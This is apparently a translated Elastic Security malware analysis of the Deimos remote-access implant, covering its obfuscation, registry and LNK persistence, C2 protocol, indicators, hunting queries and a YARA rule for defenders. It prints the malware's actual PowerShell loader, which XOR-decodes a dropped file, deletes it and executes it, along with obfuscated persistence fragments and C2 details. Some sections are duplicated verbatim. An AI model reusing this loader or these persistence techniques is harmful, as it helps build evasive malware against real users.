Andrew PeaseDaniel StepanicDerek Ditch

横跨东西海岸 - 使用 Deimos 植入体攀登金字塔

Deimos 植入体首次在 2020 年被报告,并且一直在积极开发中,采用了先进的分析对策来阻碍分析。本文详细介绍了通过恶意软件指标的活动 TTP。

阅读需 25 分钟恶意软件分析
Going Coast to Coast - Climbing the Pyramid with the Deimos Implant
  • 远程访问工具正在最初报告的 Jupyter 信息窃取器、SolarMarker 和 Yellow Cockatoo 活动之外的活动中积极开发中
  • 该恶意软件采用了多层复杂的混淆和加密技术
  • 该恶意软件已包含具有说服力的诱饵文件和数字签名的安装可执行文件
  • 该恶意软件是入侵集的一部分,用于建立初始立足点并保持对受攻击环境的持久性
  • Elastic Security 团队已成功完成了对观察到的 C2 基础设施的拆除

Deimos 植入体是一种新的、复杂的恶意软件形式,首次在 2020 年被报告。这种远程访问工具正在积极开发中,旨在通过使用多层复杂的混淆和加密技术来逃避检测。

这些高级防御对策,还包括具有说服力的诱饵文件和数字签名的安装可执行文件,可能会阻碍识别和分析。然而,Elastic Security 团队最近成功拆除了观察到的命令和控制 (C2) 基础设施,使我们能够提供检测规则和搜索技术,以帮助识别这种强大的植入体。

本文详细介绍了 Deimos 植入体的战术、技术和程序,或称 TTP。我们的目标是帮助安全从业人员利用 Elastic Stack 来收集和分析恶意软件和入侵数据,方法是揭示有关 Deimos 如何工作的相关信息,其创建者试图出于防御目的而掩盖这些信息。

概述

Elastic Intelligence & Analytics 团队正在跟踪一种新的 Deimos 初始访问和持久性植入体,该植入体以前与 Jupyter Infostealer 恶意软件(在其他地方被跟踪为 Yellow CockatooSolarMarker)相关联。该植入体已展示了因已发布研究而产生的混淆技术的成熟。这表明该活动组正在积极修改其代码库,以逃避检测对策。

我们观察到的样本没有被用作信息窃取器。它是一种提供初始访问、持久性和 C2 功能的植入体。这使得该植入体非常强大,因为它可用于完成任何需要远程访问的任务。这些入侵很可能是一个针对受害者的集中活动的开始,或者将批量出售用于与其他访问收集无关的其他活动。

该分析将利用 David Bianco 的 痛苦金字塔 分析模型来描述原子指标、伪影、工具标记和 TTP 对恶意软件作者的价值,以及揭示它们如何影响利用该植入体的入侵集的效率。此外,我们还提供了一些基于主机的搜索技术和检测规则,可用于识别该植入体以及其他共享类似伪影和 TTP 的植入体。

详细信息

2021 年 8 月 31 日,Elastic 观察到了与 Morphisec、Binary Defense 和安全研究员 Squibydoo 报告的 Jupyter Infostealer 共享技术的进程注入遥测数据 [1] [2] [3] [4] [5]。当我们开始分析并将我们观察到的样本与先前的研究进行比较时,我们发现混淆的实施方式发生了变化。这种变化可能是多种因素造成的,其中之一是攻击者试图绕过或以其他方式逃避现有防御措施或恶意软件分析。

注意:由于此恶意软件的先前版本已得到充分记录,我们将重点关注新观察到的功能和特性。

在对恶意软件进行动态分析期间,我们观察到了与其他地方报告的行为类似的行为 - 即使用大量运行时创建的变量(每个执行都是唯一的变量)、目录、XOR 密码和 Base64 编码命令进行混淆。下面是恶意软件作者为阻碍分析而采用的新混淆策略示例。当我们在解包恶意软件的执行时,我们将详细讨论这一点。

"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command "$650326ac2b1100c4508b8a700b658ad7='C:\Users\user1\d2e227be5d58955a8d12db18fca5d787\a5fb52fc397f782c691961d23cf5e785\4284a9859ab2184b017070368b4a73cd\89555a8780abdb39d3f1761918c40505\83e4d9dd7a7735a516696a49efcc2269\d1c086bb3efeb05d8098a20b80fc3c1a\650326ac2b1100c4508b8a700b658ad7';$1e3dadee7a4b45213f674cb23b07d4b0='hYaAOxeocQMPVtECUZFJwGHzKnmqITrlyuNiDRkpgdWbSsfjvLBX';$d6ffa847bb31b563e9b7b08aad22d447=[System.Convert]::FromBase64String([System.IO.File]::ReadAllText($650326ac2b1100c4508b8a700b658ad7));remove-item $650326ac2b1100c4508b8a700b658ad7;for($i=0;$i -lt $d6ffa847bb31b563e9b7b08aad22d447.count;)\{for($j=0;$j -lt $1e3dadee7a4b45213f674cb23b07d4b0.length;$j++)\{$d6ffa847bb31b563e9b7b08aad22d447[$i]=$d6ffa847bb31b563e9b7b08aad22d447[$i] -bxor $1e3dadee7a4b45213f674cb23b07d4b0[$j];$i++;if($i -ge $d6ffa847bb31b563e9b7b08aad22d447.count)\{$j=$1e3dadee7a4b45213f674cb23b07d4b0.length\}\}\};$d6ffa847bb31b563e9b7b08aad22d447=[System.Text.Encoding]::UTF8.GetString($d6ffa847bb31b563e9b7b08aad22d447);iex $d6ffa847bb31b563e9b7b08aad22d447;"

图 1:恶意软件安装程序执行的 PowerShell

我们观察到的样本在 %USERPROFILE% 目录深处的多个子目录中创建了一个 Base64 编码文件,并使用 PowerShell 脚本中的运行时变量(在我们的样本中为 $650326ac2b1100c4508b8a700b658ad7)引用了该文件。一旦 PowerShell 读取此编码文件,它将被删除,如图 2 所示。其他已发布的研究观察到了 PowerShell 命令中的 Base64 字符串,这使得它在执行过程中可见。这显示了恶意软件作者根据安全研究人员发布的报告对所利用的混淆技术进行了调整。

FromBase64String([System.IO.File]::ReadAllText($650326ac2b1100c4508b8a700b658ad7));remove-item $650326ac2b1100c4508b8a700b658ad7

图 2:读取然后删除的 Base64 编码文件

此外,还有一个包含另一个变量(在我们的示例中为 $1e3dadee7a4b45213f674cb23b07d4b0),其值为 hYaAOxeocQMPVtECUZFJwGHzKnmqITrlyuNiDRkpgdWbSsfjvLBX。通过反混淆 PowerShell 命令,我们确定该值是用于解密 650326ac2b1100c4508b8a700b658ad7 文件值的 XOR 密钥。既然我们有了 Base64 编码文件的位置以及解密它的能力,我们需要阻止它被删除。

为此,我们利用了 Sysmon 的 FileDelete 事件配置。默认情况下,这会在“C:\Sysmon”目录中创建一个目录,然后将所有已删除的文件(按文件 MD5 + SHA256 哈希值 + 33 个 0 + 扩展名命名)放在该文件夹中。此目录仅对 SYSTEM 用户可用。我们使用 PSExec 访问该文件夹 (psexec -sid cmd)。该文件包含一个单行的 Base64 编码字符串。

正如我们在上面的 PowerShell 中所观察到的那样,内容使用 XOR 密码进行保护,但是我们有解密密钥的密码。使用命令行工具 base64xortool,我们能够解码和解密该文件

  • base64
    • -D - 使用 base64 程序进行解码
    • -i - 要解码的输入文件
    • -o - 用于保存解码内容的输出文件
  • xortool-xor
    • -r - XOR 密码密钥
    • -f - XOR 加密的文件
    • \> - 输出解密的文件
base64 -D -i 650326ac2b1100c4508b8a700b658ad7.encoded \
-o 650326ac2b1100c4508b8a700b658ad7.decoded

xortool-xor -r hYaAOxeocQMPVtECUZFJwGHzKnmqITrlyuNiDRkpgdWbSsfjvLBX \
-f 650326ac2b1100c4508b8a700b658ad7.decoded \
\> 650326ac2b1100c4508b8a700b658ad7.xor

图 3:解密 XOR 编码的 Base64 编码文件

这导致了另一个混淆文件,该文件以 XOR 编码的 Base64 编码变量开始,并以更多 PowerShell 结束。

$adab58383614f8be4ed9d27508c2b='FTDSclNHUTdlaXBxnKdZa9pUUW9iakpFGDBaelBHbE9mbTVZYlVFbWIxZ...

...CReaTEShorTcuT($ENV:APpDATa+'\m'+'IcR'+'OSO'+'Ft'+'\w'+'Ind'+'OW'+'S\'+'sT'+'ARt'+' ME
'+'nU'+'\pr'+'OGR'+'aMS\'+'sT'+'ART'+'uP'+'\a44f066dfa44db9fba953a982d48b.LNk');$a78b0ce650249ba927e4cf43d02e5.tARGETpaTh=$a079109a9a641e8b862832e92c1c7+'\'+$a7f0a120130474bdc120c5f
13775a;$a78b0ce650249ba927e4cf43d02e5.WInDoWSTYLE=7;$a78b0ce650249ba927e4cf43d02e5.sAvE();IEx $a54b6e0f7564f4ad0bf41a1875401;

图 4:最终混淆的文件(截断)

按照与之前相同的过程,我们识别出 XOR 密钥(可能试图使用 = 号来使其看起来像 Base64)并解码了该文件。

XjBrPGQ7aipqcXYkbTQobjJEX0ZzPGlOfm5YbUEmb1dBazZ0RlpCa2hLQks8eXNxK3tsRHpZVmtmUU9mb31jaVVuMXUxUGk/e0tDa0QmXjA8U0ZAckhgNl5vX1deQGBad2peTyZvVUByaSk2XlBJMTxAdEtnT0B3fnBJPCtfe2tvV0d7P3Y0V2BaeXQ9PmhtI3ZaVHc3I2tGcm5IRmlmUTV8bXpxXlg/cyo8XyFwXyt5QmwjOChQZ09aPXxqaS1hfmxDK3U=

图 5:XOR 密码密钥

此过程产生一个 .NET DLL 文件,该文件会创建一个植入体跟踪 ID 和用于持久性的文件(有关跟踪 ID 的更多信息请参见“分析 - 初始访问”部分)。

adab58383614f8be4ed9d27508c2b: PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows

图 6:.NET DLL 文件类型

该 DLL 调用自身为 Mars.Deimos,并与 Morphisec、Binary Defense 和安全研究员 Squibydoo 之前的研究相关 [1] [2] [3] [4] [5]。我们观察到的特定样本使用 .NET 加固工具 Dotfuscator CE 6.3.0 来阻碍恶意软件分析。

我们发现特别有趣的是,作者花费时间修改恶意软件,试图使其更难被检测到,这表明他们有动机维护该恶意软件。这对于我们进入分析阶段来说非常重要,因为它意味着我们可以对一个有价值的恶意软件植入产生影响,这将挫败那些利用它来获取经济利益的人。

分析

分析中引用的所有指标都位于“指标”部分。

痛苦金字塔

在开始分析之前,让我们讨论一下我们用来指导流程的模型。

2013 年,安全研究员 David Bianco 发布了一个名为痛苦金字塔的分析模型。该模型旨在了解发现入侵的不同部分如何影响一次攻击活动。正如您在下面的模型中看到的,识别哈希值很有用,但很容易被攻击者更改,而识别 TTP 对于攻击者来说很难更改。

使用痛苦金字塔的目标是尽可能多地了解入侵,并预测您可以造成的(解读:多少“痛苦”)影响。在分析观察到的样本的过程中,我们会将它们覆盖在痛苦金字塔上,作为评估潜在影响的一种说明方法。

文件哈希值

一旦我们确定我们观察到了恶意软件样本的新变体,我们便对我们的数据集应用了搜索查询,并识别出跨多个垂直领域的 10 个不同的组织,这表明这似乎不是有针对性的。从这 10 个组织中,我们观察到了 10 个不同的初始安装程序文件哈希值。丢弃的编码文件也各不相同。

因此,虽然此信息很有用,但很明显,使用文件哈希作为检测方法对于跨组织来说没有用。

IP 地址

正如其他研究人员所指出的那样,我们观察到在攻击活动中使用了相同的 IP 地址。该 IP 地址于 2021 年 8 月 30 日首次关联到恶意文件。

IP 216.230.232.134
Anycast false
City Houston
Region Texas
Country United States (US)
Location 29.7633,-95.3633
Organization AS40156 The Optimal Link Corporation
Postal 77052
Timezone America/Chicago

图 8:已识别 IP 地址的信息

该 IP 地址已报告给多个滥用站点,并被多位安全研究人员独立识别。我们在 2021 年 9 月 21 日发起了成功的 IP 地址删除请求,该请求已删除了对任何植入程序的观察到的 C2 基础设施访问。

虽然此原子指标对于在防火墙上阻止很有用,但攻击者可以轻易更改为另一个 IP 地址,因此让我们尝试在金字塔中爬得更高,并对攻击者产生更大的影响。

工件

资源开发

我们分析的诱饵文件样本主要由斯堪的纳维亚和斯拉夫语国家的组织签名,其中两个异常值来自英语和法语国家。多个样本使用注册为“Spoloènos s Ruèením Obmedzeným”(S.R.O.) 的数字证书签名。 S.R.O. 是斯洛伐克外国实体拥有的企业的商业名称。

我们观察到拥有数字签名 (SRO #1) 的 S.R.O. 于 2021 年 7 月 29 日成立,并且该签名于 2021 年 8 月 26 日开始出现。此外,我们观察到的 S.R.O. 由另一个 S.R.O. (SRO #2) 拥有。

文件哈希值

一旦我们确定我们观察到了恶意软件样本的新变体,我们便对我们的数据集应用了搜索查询,并识别出跨多个垂直领域的 10 个不同的组织,这表明这似乎不是有针对性的。从这 10 个组织中,我们观察到了 10 个不同的初始安装程序文件哈希值。丢弃的编码文件也各不相同。

因此,虽然此信息很有用,但很明显,使用文件哈希作为检测方法对于跨组织来说没有用。

IP 地址

正如其他研究人员所指出的那样,我们观察到在攻击活动中使用了相同的 IP 地址。该 IP 地址于 2021 年 8 月 30 日首次关联到恶意文件。

IP 216.230.232.134
Anycast false
City Houston
Region Texas
Country United States (US)
Location 29.7633,-95.3633
Organization AS40156 The Optimal Link Corporation
Postal 77052
Timezone America/Chicago

图 8:已识别 IP 地址的信息

该 IP 地址已报告给多个滥用站点,并被多位安全研究人员独立识别。我们在 2021 年 9 月 21 日发起了成功的 IP 地址删除请求,该请求已删除了对任何植入程序的观察到的 C2 基础设施访问。

虽然此原子指标对于在防火墙上阻止很有用,但攻击者可以轻易更改为另一个 IP 地址,因此让我们尝试在金字塔中爬得更高,并对攻击者产生更大的影响。

工件

资源开发

我们分析的诱饵文件样本主要由斯堪的纳维亚和斯拉夫语国家的组织签名,其中两个异常值来自英语和法语国家。多个样本使用注册为“Spoloènos s Ruèením Obmedzeným”(S.R.O.) 的数字证书签名。 S.R.O. 是斯洛伐克外国实体拥有的企业的商业名称。

我们观察到拥有数字签名 (SRO #1) 的 S.R.O. 于 2021 年 7 月 29 日成立,并且该签名于 2021 年 8 月 26 日开始出现。此外,我们观察到的 S.R.O. 由另一个 S.R.O. (SRO #2) 拥有。

SRO #2 自 2014 年 8 月 19 日以来一直在运营,并提供各种服务。SRO #2 的所有者在欧洲前东方集团的一个国家(执行经理)拥有一位单名合伙人。

我们无法明确说明这些组织或人员是有意参与、是中间人还是不情愿的参与者,因此我们不会命名它们。这种获取可能被盗证书的过程与我们分析的其他样本一致。很明显,无论如何获得这些证书,负责的人(或多人)似乎都精通在斯洛伐克注册外资企业所需的官僚机构和法律。

初始访问

我们在这个层级中观察到最多的指标。工件层级(包括主机和网络)中的指标对于防御者来说很有价值,因为攻击者很难在不显着重新设计恶意软件功能方式的情况下更改它们。这与原子指标(哈希和基础设施)不同,因为这些元素是模块化的,可以简单地更新。工件(例如,我们将在下面看到的密码密钥)通常在编译之前硬编码到源代码中,并且需要大量工作来调整。

dropper 创建一系列嵌套目录,这些目录的名称为 32 个字符长,字母数字且小写。在我们观察到的所有情况下,都有六个嵌套目录,并且最后一个子目录中有一个使用相同命名约定的文件。在初始执行期间,将加载此文件,使用 52 字节的静态 XOR 密钥进行反混淆,然后作为 PowerShell 脚本执行。我们在检测部分中包含了一个可以识别此活动的搜索查询。

此外,.Net 程序集通过列出位于 %USERPROFILE%\APPDATA\ROAMING 的所有文件来创建一个字符串。这存储为 hwid 值,它是该计算机的唯一标识符。如果该文件尚不存在,则通过生成 32 个随机字节并使用自定义 Base64 编码对它们进行编码来创建它。

持久化

执行后,PowerShell 脚本会建立恶意软件的持久性,在名为 %APPDATA%\Microsoft\<随机字符串> 的目录中生成 100 到 200 个随机数量的文件。随机字符串仅包含小写和大写字母 A-Z 和数字 0-9。长度可能在 10 到 20 个字符之间。此目录是暂存目录。这些文件包含 50,000 字节到 200,000 字节之间的随机生成的字节。这些文件本身被命名为 <随机字符串>.<随机字符串>,其中每个随机字符串都遵循与目录名称相同的约定。最后,一个包含混淆的 .Net DLL 的最终文件被写入此目录。这是实际的 Deimos 植入程序。它与此目录中具有类似属性的虚拟文件相似,进一步试图逃避防御。

下一个函数脚本将创建两个注册表项,为上面创建的第一个随机数据文件提供 Windows shell 处理程序。它使用该文件的扩展名将执行请求与运行 PowerShell 命令相关联。注册表项创建在 HKEY\_CURRENT\_USER\Software\Classes\<随机字符串>\ 中,其中随机字符串遵循与上述相同的约定,但全部为小写字符。第一个键将进一步具有一个子键 \Shell\Open\Command,其中包含加载程序 PowerShell 脚本。字符串值本身具有混合大小写,以便更难以搜索。例如,在我们的样本中使用 PowErShELl。第二个键实际上是一个别名,它与上面第一个随机生成文件的文件扩展名匹配。它的值与第一个键的路径中使用的随机字符串的小写值匹配。

最终的持久化工件是放置在用户启动目录中的 .LNk 文件。在此示例中,它被硬编码为命名为 a44f066dfa44db9fba953a982d48b.LNk。该快捷方式设置为启动上面第一个随机生成的文件,并将在最小化的窗口中打开。用户登录后,链接文件将告诉 Windows 启动该文件,但它不是可执行文件。上面的注册表项告诉 Windows 启动在上面第一个键中配置的 PowerShell 命令来执行该文件。PowerShell 命令包含混淆的 .Net DLL 的完整路径和用于反混淆的 XOR 密钥。最后,.Net DLL 程序集将通过 PowerShell 调用类方法 [Mars.Deimos]::interact() 来执行。这种持久化架构在文本中很难理解,因此下面是持久化机制的可视化表示。

命令和控制阶段

该恶意软件提供了一个通用植入程序,可以在其权限级别执行任何操作。具体而言,它可以接收和执行 Windows PE 文件、PowerShell 脚本、.Net DLL 程序集或运行任意 PowerShell 命令。

有效负载封装有几种特定于命令的排列,但它们会传递到一个公共方法以执行对 C2 服务器的 Web 请求。Web 请求使用 HTTP POST 方法,并为建立通信设置 10 分钟的超时。

除了 .Net WebRequest 提供程序填充的默认标头(即:主机、内容长度和连接:保持活动)之外,没有设置其他标头。

POST / HTTP/1.1
Host: 216.230.232.134
Content-Length: 677
Connection: Keep-Alive

图 12:C2 HTTP 标头

图 13 描述了客户端 POST 请求正文的十六进制转储。

白色中的第一个字节是随机生成的,并附加到正文中以混淆网络通信中的模式。这些字节将有 0 到 512 个。接下来,以绿色显示,是一个空字节,表示随机数据的结束。接下来,以蓝色显示的 10 个字节是从服务器的上次通信中发送的“cookie”值。这可能是为了防止将捕获的数据包重播到服务器,因为每次通信都是唯一的。没有任何具体内容要求它是 10 个字节,但在我们观察到的所有流量中,情况都是如此。在初始签入的情况下,不存在这种情况。最后,此处以红色显示的剩余字节是加密的正文。对于初始签入,这正是 256 字节的 RSA 加密数据,其中包括将在后续通信中使用的密钥和此植入程序的唯一硬件 ID。对于其余通信,客户端使用 AES-128 CBC 模式进行加密。对于 AES 加密,此部分始终是 16 字节的倍数。

用于初始握手的 RSA 公钥对于每个活动都是唯一的。使用图 24中的 YARA 规则,我们能够发现总共 65 个植入样本。RSA 密钥提供了一个支点来识别独特的活动,这些活动跨越了从美国到摩尔多瓦等国家。只有 12.5% 的样本包含信息窃取功能,这与 Jupyter Infostealer 中观察到的情况类似。其余样本是没有额外信息窃取功能的 Deimos 植入程序。这可能意味着该植入程序正变得越来越流行,因为它功能齐全,可用于任何活动的初始访问和持久化。

主循环

一旦完成签入过程,主进程循环就开始。植入程序在主循环中的默认操作是 ping 操作。ping 发送有关环境的信息,包括计算机名称、Windows 版本、CPU 架构、用户是否具有管理权限的信息以及植入程序的版本字符串。

如果为植入程序计划了任务,则对 ping 命令的响应将包含一个状态值,该值设置为“file”或“command”。如果没有给定任务,则植入程序将休眠 20 秒 + 0 到 20 秒之间的随机等待时间。这是所有任务之间的等待时间。

对于“file”任务,植入程序会立即使用任务定义中的 task_id 属性执行另一个请求来检索文件。植入程序需要一个“exe”文件、“ps1”文件或“module”,后者是一个 .Net 程序集文件。

当下载“exe”时,它将被写入 %TEMP%\<RANDOM\_NAME>.exe 中的一个文件,其中 RANDOM_NAME 是一个 24 个字符的字母数字值,全部大写字母。通过执行该文件立即启动一个新进程,并在下一个任务间隔报告状态。

当下载“ps1”文件时,脚本的内容将通过标准输入传递到新的 PowerShell 进程。

最后,“module”文件被添加到“插件管理器”并执行“Run”方法。

对于“command”任务,不需要额外的请求。响应中的“command”值包含将以与“ps1”文件类型相同的方式执行的 PowerShell 代码。

据推测,区别在于对于快速脚本或可能是交互式操作,威胁行为者将使用“command”类型。对于较大的脚本,将使用“file”类型。

工具

查看所有观察到的样本的元数据,我们可以看到它们都是使用单个 PDF 软件平台创建的,这具有高度的关联性。

Comments : This installation was built with Inno Setup.
Company Name :
File Description : SlimReader Setup
File Version :
Legal Copyright : (c) InvestTech
Original File Name :
Product Name : SlimReader
Product Version : 1.4.1.2

图 14:恶意诱饵文件元数据

虽然此软件似乎是合法的,但它似乎经常被用来创建诱饵文件。我们已经观察到使用 SlimReader 工具创建的 53 个恶意软件或与恶意软件相邻的样本。此外,eSentire 的研究团队 发现 SlimReader 是创建工具的首选,据报道,它创建了数十万个诱饵文件。

TTPs

在金字塔的顶端,我们观察到我们的样本以及安全研究人员报告的其他样本中都存在一个特征。在所有观察到的案例中,恶意软件都使用了称为 Google Sneaky Redirects搜索引擎优化 (SEO) 投毒的技术,以诱使用户安装恶意软件。

SEO 投毒是一种用于在文档中放置 SEO 关键词以提高其在搜索引擎中的排名的技术,因此恶意文档和网站在网络搜索结果中排名更高。此外,Google Sneaky Redirects 是一种用于将初始恶意软件安装程序命名为 Google 搜索的方式,以欺骗用户点击他们下载的文件。例如,如果用户搜索“免费简历模板”,然后点击似乎具有该文件的恶意网站,他们将看到一个名为“free-resume-template.exe”的恶意软件安装程序。恶意软件将利用 PDF 图标,即使它是一个可执行文件,试图欺骗用户执行 PE 文件,该文件将启动 Elastic Analyzer 视图中突出显示的 PowerShell 进程。

了解恶意软件进程以及它如何与痛苦金字塔的不同元素交互对于对活动组和入侵集产生长期影响至关重要。

影响

所描述的入侵集利用了 MITRE ATT&CK® 框架分类的多种策略和技术。可能存在其他 TTP,但在我们的分析过程中没有观察到。

策略

技术 / 子技术

检测

有一个现有检测规则可以通用地识别此活动。我们还将发布两个额外的规则来检测这些技术。此外,我们还提供狩猎查询,可以识别利用类似技术的其他入侵集。

检测逻辑

Elastic 使用 Elastic Stack 和 Elastic Endgame 维护一个用于检测逻辑的公共存储库。

新的检测规则

可疑的注册表修改

用户 AppData Roaming 路径中的异常文件扩展名

狩猎查询

这些查询可以在 Kibana 的“安全”->“时间线”->“新时间线”→“关联查询编辑器”中使用。虽然这些查询将识别此入侵集,但它们还可以识别其他值得注意的事件,一旦进行调查,可能会导致其他恶意活动。

此查询将识别包含混淆安装程序的初始丢弃文件。

file where file.path regex """C:\\Users\\[^\\]*\\([a-z0-9]{32}\\){6}[a-z0-9]{32}"""

图 16:识别初始安装程序的狩猎查询

此查询将识别首次运行植入程序时创建的唯一“硬件 ID”文件 (hwid)。此 ID 文件用于唯一标识此安装。

file where file.path regex~ """.*\\APPDATA\\ROAMING\\[A-Za-z0-9_]{96,192}"""

图 18:识别硬件 ID 的狩猎查询

此查询将识别 AppData\Roaming 路径中具有十个或更多字符文件扩展名的任何文件。

file where file.path : "*\\appdata\\roaming\\*" and
length(file.extension) >= 10 and
process.name : ("cmd.exe", "powershell.exe", "wmic.exe", "mshta.exe", "pwsh.exe", "cscript.exe", "wscript.exe", "regsvr32.exe", "RegAsm.exe", "rundll32.exe", "EQNEDT32.EXE", "WINWORD.EXE", "EXCEL.EXE", "POWERPNT.EXE", "MSPUB.EXE", "MSACCESS.EXE", "iexplore.exe", "InstallUtil.exe")

图 20:识别长文件扩展名的狩猎查询

此查询将识别注册表中包含单词“powershell”的长字符串值。

registry where registry.data.strings : "*powershell*" and length(registry.data.strings) \>= 100

图 22:识别长注册表字符串的狩猎查询

YARA 规则

我们创建了一个 YARA 规则来识别此帖子中描述的 Deimos 特洛伊木马 DLL 文件的存在。

rule Windows_Trojan_Deimos_DLL {
meta:
author = "Elastic Security"
creation_date = "2021-09-18"
last_modified = "2021-09-18"
os = "Windows"
arch = "x86"
category_type = "Trojan"
family = "Deimos"
threat_name = "Windows.Trojan.Deimos"
description = "Detects the presence of the Deimos trojan DLL file."
reference = ""
reference_sample = "2c1941847f660a99bbc6de16b00e563f70d900f9dbc40c6734871993961d3d3e"

strings:
$a1 = "\\APPDATA\\ROAMING" wide fullword
$a2 = "\{\"action\":\"ping\",\"" wide fullword
$a3 = "Deimos" ascii fullword
$b1 = \{ 00 57 00 58 00 59 00 5A 00 5F 00 00 17 75 00 73 00 65 00 72 00 \}
$b2 = \{ 0C 08 16 1F 68 9D 08 17 1F 77 9D 08 18 1F 69 9D 08 19 1F 64 9D \}
condition:
all of ($a*) or 1 of ($b*)
\}

图 24:Deimos DLL YARA 规则

您可以在此处访问此 YARA 规则。

防御建议

可以利用以下步骤来改善网络的保护姿态。

  1. 使用 Sysmon 和 Elastic Endpoint 或 Winlogbeat 等技术在您的环境中审查并实施上述检测逻辑。
  2. 审查并确保您已部署最新的 Microsoft 安全更新
  3. 维护关键系统的备份,以帮助快速恢复。

参考文献

整个文档中引用了以下研究

指标

指标类型注意
f268491d2f7e9ab562a239ec56c4b38d669a7bd88181efb0bd89e450c68dd421SHA256 哈希诱饵文件
af1e952b5b02ca06497e2050bd1ce8d17b9793fdb791473bdae5d994056cb21fSHA256 哈希恶意软件安装程序
d6e1c6a30356009c62bc2aa24f49674a7f492e5a34403344bfdd248656e20a54SHA256 哈希.NET DLL 文件
216[.]230[.]232[.]134IP 地址命令和控制